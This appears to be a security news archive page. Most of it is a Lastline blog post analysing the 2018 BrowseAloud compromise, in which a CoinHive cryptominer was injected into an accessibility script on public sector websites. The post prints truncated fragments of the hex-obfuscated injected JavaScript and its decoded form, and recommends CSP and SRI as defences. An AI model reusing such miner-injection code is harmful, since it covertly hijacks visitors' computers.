Category Archives: Security threats

Should enterprises delay efforts to remediate most vulnerabilities?

Companies today appear to have the resources needed to address all of their high-risk vulnerabilities. The research demonstrates that companies are getting smarter in how they protect themselves from today’s

The post Should enterprises delay efforts to remediate most vulnerabilities? appeared first on The Cyber Security Place.

Two charged with hacking company filings out of SEC’s EDGAR system

They're charged with phishing and inflicting malware to get into the EDGAR filing system, stealing thousands of filings, and selling access.

Reddit users locked out of accounts after ‘security concern’

Reddit users locked out of accounts after 'security concern'

A large number of Reddit users are being told that they will have to reset their passwords in order to regain access to their accounts following what the site is calling a “security concern.”

The lockout has occurred as Reddit’s security team investigates what appears to have been an attempt to log into many users’ accounts through a credential-stuffing attack.

Read more in my article on the Tripwire State of Security blog.

Trust Me, I am a Screen Reader, not a CryptoMiner

Until late Sunday afternoon, a number of public sector websites including ICO, NHS, and local councils (for example, Camden in London) have been serving a crypto miner unbeknownst to visitors, turning them into a free computing cloud at the service of unknown hackers. Although initially only UK sites were particularly affected, subsequent reports included Ireland and US websites as well.


Figure 1: BrowseAloud accessibility tool.

While initially researchers considered the possibility of a new vulnerability exploited at large, Scott Helme ( quickly identified the culprit in a foreign JavaScript fragment added to the BrowseAloud (see Figure 1) JavaScript file (https://wwwbrowsealoud[.]com/plus/scripts/ba.js), an accessibility tool used by all the affected websites:

\x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72
\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d 
\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d 
\x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d 
\x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 

Compromising a third-party tool JavaScript is no small feat, and it allowed deployment of the code fragment on thousands of unaware websites (here a comprehensive list of websites using BrowseAloud to provide screen reader support and text translation services:

To analyze the obfuscated code we loaded one of the affected websites (Camden Council) into our instrumented web browser (Figure 2) and extracted the clear text.

Figure 2: the web site Camden Council as analyzed by Lastline instrumented web browser.

As it turns out, it is an instance of the well-known and infamous CoinHive, mining the Monero cryptocurrency:

<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: 
Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = 
{threads: 8,throttle:0.6}} var miner = new 

Unlike Bitcoin wallet addresses, CoinHive site keys do not allow balance checks, making impossible to answer the question of how much money the attackers managed to make in this heist. On the other hand, quite interestingly, the very same CoinHive key did pop up on Twitter approximately one week ago (; context on this is still not clear, and we will update the blog post as we know more.

As of now (16:34) the company behind BrowseAloud, Texthelp, removed the JavaScript from their servers (as a preventive measure the browsealoud[.]com domain has also been set to resolve to NXDOMAIN) effectively putting a stop to this emergency by disabling the BrowseAloud tool altogether. But when did it start, and most importantly how did it happen?

Figure 3: S3 object metadata.

Marco Cova one of our senior researchers here at Lastline, quickly noticed that the BrowseAloud JavaScript files were hosted on an S3 bucket (see Figure 3 above).

In particular the last modified time of the ba.js resource showed 2018-02-11T11:14:24 making this Sunday morning UK time the very first moment this specific version of the JavaScript had been served.

Figure 4: S3 object permissions.

Although it’s not possible to know for certain (only our colleagues at Texthelp can perform this investigation) it seems possible that attackers may have managed to modify the object referencing the JavaScript file by taking advantage of weak S3 permissions (see Figure 4). Unfortunately we cannot pinpoint the exact cause as we do not have at our disposal all permissions records for the referenced S3 bucket.

Considering the number of components involved in a website on average, it might be concerning to see that a single compromise managed to affect so many websites. As Scott Helme noticed however, we should be aware that technologies able to thwart this kind of attacks exist already: in particular, if those websites had implemented CSP (Content Security Policy) to mandate the use of SRI (Subresource Integrity), any attempt to load a compromised JavaScript would have failed, sparing thousands of users the irony of mining cryptocurrency for unknown hackers, while looking to pay their council tax.

The post Trust Me, I am a Screen Reader, not a CryptoMiner appeared first on Lastline.